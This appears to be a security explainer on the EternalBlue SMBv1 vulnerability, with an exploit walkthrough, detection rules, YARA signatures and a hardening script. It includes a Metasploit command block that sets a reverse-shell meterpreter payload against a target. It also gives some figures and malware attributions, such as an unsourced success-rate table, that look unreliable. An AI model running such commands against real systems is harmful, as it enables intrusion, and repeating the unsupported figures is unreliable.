🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 Remote Code Execution Vulnerability

"One exploit. Dozens of malware families. Billions in damage."
🔍 One-line summary
CVE-2017-0144 is a critical remote code-execution vulnerability in the SMBv1 server implementation in Microsoft Windows. The exploit known as EternalBlue abused this hole and was used in high-impact attacks (notably WannaCry).
🔥 Top 10 Malware Using EternalBlue (Detailed)
| # | Malware | Type | First Seen | Actor | Damage | Notes |
|---|
| 1 | WannaCry | Ransomware | May 12, 2017 | Lazarus Group (DPRK) | $4–8B | Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Wiper (Posed as Ransomware) | Jun 27, 2017 | Sandworm (Russia) | $10B+ | Used Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Ransomware | Oct 24, 2017 | Indrik Spider | Regional | Fake Flash update drive-by |
| 4 | Uiwix | Ransomware | May 2017 | Unknown | Low | No killswitch, stealthier than WannaCry |
| 5 | EternalRocks | Worm | May 2017 | Unknown | Medium | 7 NSA tools (incl. DoublePulsar) |
| 6 | Adylkuzz | Cryptominer | May 2017 | Unknown | High (silent) | Mined Monero before WannaCry |
| 7 | Retefe | Banking Trojan | 2017–2018 | Unknown | EU Banks | Used EternalBlue for lateral movement |
| 8 | TrickBot | Modular Malware | 2017–2021 | Wizard Spider | Global | Dropped Ryuk via EternalBlue |
| 9 | Emotet | Loader | 2017–2021 | TA542 | Global | Used as entry for Cobalt Strike |
| 10 | Clop / Dridex | Ransomware | 2019–2025 | TA505 | Healthcare, Gov | Still active in 2025 |
🧨 EternalBlue Exploit Evolution
🔍 How CVE-2017-0144 (EternalBlue) Was Exploited
A Step-by-Step Technical Deep Dive into the SMBv1 RCE
"One malformed packet. Full SYSTEM access. No login. No click."
🎯 TL;DR Exploit Flow
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
🛠️ Prerequisites for Exploitation
🚀 Exploit Phases (7 Steps)
Phase 1: SMB Protocol Negotiation
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
Why? Confirms SMBv1 is active.
Phase 2: Tree Connect to IPC$
\\TARGET\IPC$ → Anonymous share for SMB pipes
Purpose: Establishes a session to send transaction requests.
Phase 3: Trans2 Session Setup (Primary)
- Uses SMB_COM_TRANSACTION2 (0x32)
- Subcommand:
SESSION_SETUP
- Sets up FEALIST structure with malformed size
FEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
Bug Trigger: SrvOS2FeaListSizeToNt() trusts this size without bounds check.
Phase 4: Secondary Trans2 Request (Overflow)
- Sends multiple secondary packets
- Each contains oversized FEALIST + FEA (File Extended Attributes)
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
Heap Spray: Allocates large chunks to control memory layout.
Phase 5: Buffer Overflow in Kernel
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Result:
- Heap overflow → Overwrite adjacent kernel objects
- Target: SRVNET_BUFFER or POOL_HEADER
- Overwrite function pointers (e.g.,
Free routine)
Phase 6: Kernel Shellcode Execution
- Attacker controls RIP/EIP via overwritten function pointer
- Jumps to shellcode in non-paged pool
Shellcode Does:
- Ring-0 → Ring-3 transition (via
KeUserModeCallback)
- Allocates user-mode memory
- Downloads/stages payload (e.g.,
mssecsvc.exe)
- Installs DoublePulsar backdoor
Phase 7: DoublePulsar Backdoor Implant
- Injects kernel driver (
0x00120034 XOR key)
- Listens for magic SMB packets:
Ping: 0x0002C001
Exec: 0x0002C002 + payload
WannaCry Example:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
🧨 Exploit Packet Structure (Simplified)
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
🔬 Memory Forensics Evidence
🛡️ Detection Rules
Snort/Suricata
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
Zeek (Bro)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
🔄 Worm Propagation (WannaCry Loop)
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
Spread Speed: ~10,000 infections/hour globally.
🛑 Why It Worked So Well
🎯 Exploit Success Rate (2017–2025)
| Year | Success % (Unpatched) |
|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (legacy only) |
Still works on Windows 7/2008 R2 without MS17-010
📚 References
⚡ Final Summary: How It Was Exploited
EternalBlue = Weaponized Math Error
A trusted size field in SMB → kernel heap overflow → arbitrary code → global ransomware pandemic
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware
Visualized, dissected, and battle-tested. For pentesters, IR teams, and defenders.
"One packet. One port. One empire falls."
🛡️ Patch & Detection Matrix
🔍 YARA Rules (Top 3 Malware)
1. WannaCry
rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}
2. NotPetya
rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}
3. EternalBlue Exploit Packet
rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
📊 2025 Status: Still Active?
🛑 Kill Chain (MITRE ATT&CK)
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan
# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }
Write-Host "Reboot required. Run as Admin."
📚 References & Sources
⚡ Final Word (2025)
CVE-2017-0144 is not dead — it’s a legacy zombie.
It thrives in:
- Unpatched Windows 7/2008
- Shadow IT
- Air-gapped critical systems
- Misconfigured cloud VMs
If you can ping port 445 from the internet — you’re next.
Built with precision, visuals, and real-world threat intel. Updated Nov 2025.
For pentest labs, IR playbooks, or CISO briefings.
"Patch it. Block it. Kill it with fire."